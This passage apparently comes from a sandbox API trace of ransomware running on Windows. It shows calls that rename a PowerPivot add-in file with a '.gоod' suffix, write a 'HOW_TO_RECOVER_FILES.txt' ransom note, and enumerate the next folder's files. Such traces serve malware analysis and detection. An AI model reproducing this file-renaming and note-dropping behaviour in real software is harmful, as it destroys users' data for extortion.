Add-in\\eu\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\eu\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\eu\\localizedstrings.xml.gоod")) returned 1 [0258.818] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0258.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0258.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\eu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0258.819] GetFileType (hFile=0x86c) returned 0x1 [0258.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0258.819] GetFileType (hFile=0x86c) returned 0x1 [0258.820] WriteFile (in: hFile=0x86c, lpBuffer=0x37ab238*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x37ab238*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0258.820] CloseHandle (hObject=0x86c) returned 1 [0258.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0258.820] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi", lpFilePart=0x0) returned 0x51 [0258.820] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b0a0 [0258.821] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.821] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0258.821] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0258.821] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99462e6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99462e6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9992797, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0258.821] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6866e01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0258.822] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ac3a61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ff030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0258.822] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf483611a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf483611a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4a25fae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0258.822] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc21a8ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc21a8ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc240ad7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ca98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0258.822] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0258.822] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa531f86, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0258.822] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf428c77b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf428c77b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42b29f3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x47068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0258.822] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0258.823] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b5bbeb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b5bbeb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b5bbeb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0258.823] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf637b042, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf637b042, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19af8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0258.823] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44563cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44563cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44a2874, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x70ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0258.823] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb43ee0e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0258.823] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1e30870, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e30870, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0258.823] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c62325, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c62325, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4c62325, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0258.823] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd09866, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd09866, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0258.824] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x97efe5f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x97efe5f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x981606a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0258.824] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0258.824] FindClose (in: hFindFile=0x134b0a0 | out: hFindFile=0x134b0a0) returned 1 [0258.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0258.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0258.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0258.824] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi", lpFilePart=0x0) returned 0x51 [0258.824] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b040 [0258.824] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.824] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0258.825] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0258.825] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99462e6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99462e6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9992797, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0258.825] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6866e01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0258.825] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ac3a61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ff030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0258.825] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf483611a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf483611a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4a25fae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0258.826] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc21a8ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc21a8ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc240ad7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ca98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0258.826] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0258.826] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa531f86, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0258.826] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf428c77b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf428c77b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42b29f3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x47068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0258.826] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0258.826] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b5bbeb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b5bbeb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b5bbeb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0258.827] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf637b042, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf637b042, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19af8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0258.827] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44563cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44563cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44a2874, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x70ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0258.827] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb43ee0e, 